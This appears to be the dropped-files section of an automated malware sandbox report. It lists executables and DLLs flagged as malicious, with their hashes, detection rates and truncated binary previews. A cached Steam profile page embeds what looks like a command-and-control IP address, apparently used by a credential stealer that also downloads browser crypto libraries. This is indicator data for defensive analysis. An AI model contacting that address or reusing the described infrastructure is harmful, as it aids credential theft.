Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userAFIDGDBGCA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\userBAAAAKJKJE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GDBFCGIIIJ.exe.log

Download File

Process:	C:\ProgramData\GDBFCGIIIJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IIJKJDAFHJ.exe.log

Download File

Process:	C:\ProgramData\IIJKJDAFHJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KJEGDBKFIJ.exe.log

Download File

Process:	C:\ProgramData\KJEGDBKFIJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userAFIDGDBGCA.exe.log

Download File

Process:	C:\Users\userAFIDGDBGCA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userBAAAAKJKJE.exe.log

Download File

Process:	C:\Users\userBAAAAKJKJE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398556447975618
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2E:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtPo
MD5:	0E0E88EFEA608C749A31715ECFD375AC
SHA1:	904AAC15E576A9E10AF0B04C4027C237B99EA9E6
SHA-256:	4797AF71EB0E94FB01C4A84F7314026281E009EDB1AC09746B6C812227F5D5AA
SHA-512:	1276911B0400586A8E71D394E64AA3BBED0F8785391C82D2DCB6328DD7894EFAF294D0065BD43A9FA0FA6F1E2B690AF5805F1C105331071AF6DB4B66240A722F
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc301a31_swws[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	344992
Entropy (8bit):	7.9840811629834345
Encrypted:	false
SSDEEP:	6144:X5EAq+eU9BhaikesEDBVqaDf5kLslwEIF4TN4ha/qks1l9QjjmQ+Nb/Q5AQEO:J5vlBQB/EDBkaDRkyZIF4TN4o/29QjK0
MD5:	022CC85ED0F56A3F3E8AEC4AE3B80A71
SHA1:	A89B9C39C5F6FCB6E770CEA9491BF7A97F0F012D
SHA-256:	BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3
SHA-512:	AC549B9CF50E631BAE01152DB4523FDAB55F426EE77177AF900B088244665E28DE03C10784FE9DB33A2478BEE0D96BD50E5A668D2A2BFDFF3E8706AA8F5D71A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ... ....@.. .......................`.......7....`.....................................S.... ..B...........x...(&...@......`................................................ ............... ..H............text........ ...................... ..`.rsrc...B.... ......................@..@.reloc.......@......................@..B........................H.......@... ..............................................................+>J]..y.. 9..=...5..t...S..4;g./.k.T.l..>GP.OC.B.$...!.xV...X.,.7.D.qRY..\.8..`M.c....6...`...D6by..e>.Ty...."lZD;...6....FN6T.^:...z._.'.._......r;...n8...Ua..<.D8..4.OvZ.2.j;o.9...;.a.}.y.R......\......`2.fv.J.C.*D.cu..'.^,b......F^I..e..H.N!...&..x..D...."...5....z.J..sE.......H....b&DI..9..Z...l.{,w.F....-. O....2...Ak.8.<.!@@a'...2...A....%.l..?.a<y.....6zZ.....'..7..Q....v>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc9963ca_ldfsna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfccd837ac_vadggdsa[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfcc9963ca_ldfsna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfccd837ac_vadggdsa[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398639548415217
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2f:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtP7
MD5:	F691AB48D863D13AE964AFD00975B2CA
SHA1:	F9B84543DBC384AC4C00ED080D0A4F8F6E392EAC
SHA-256:	3E54BBEFE02566FDA654A3472627E9ACB197B80F286B8D7703A5DB90E770A033
SHA-512:	877CB82C5F2C83305A6A6EB4293CFAD70F88B012827FBA2EF948FD227FF59912792359A4295D54A23DE22E8E8245FC5EE413B33806C2790859361B167199E966
Malicious:	false
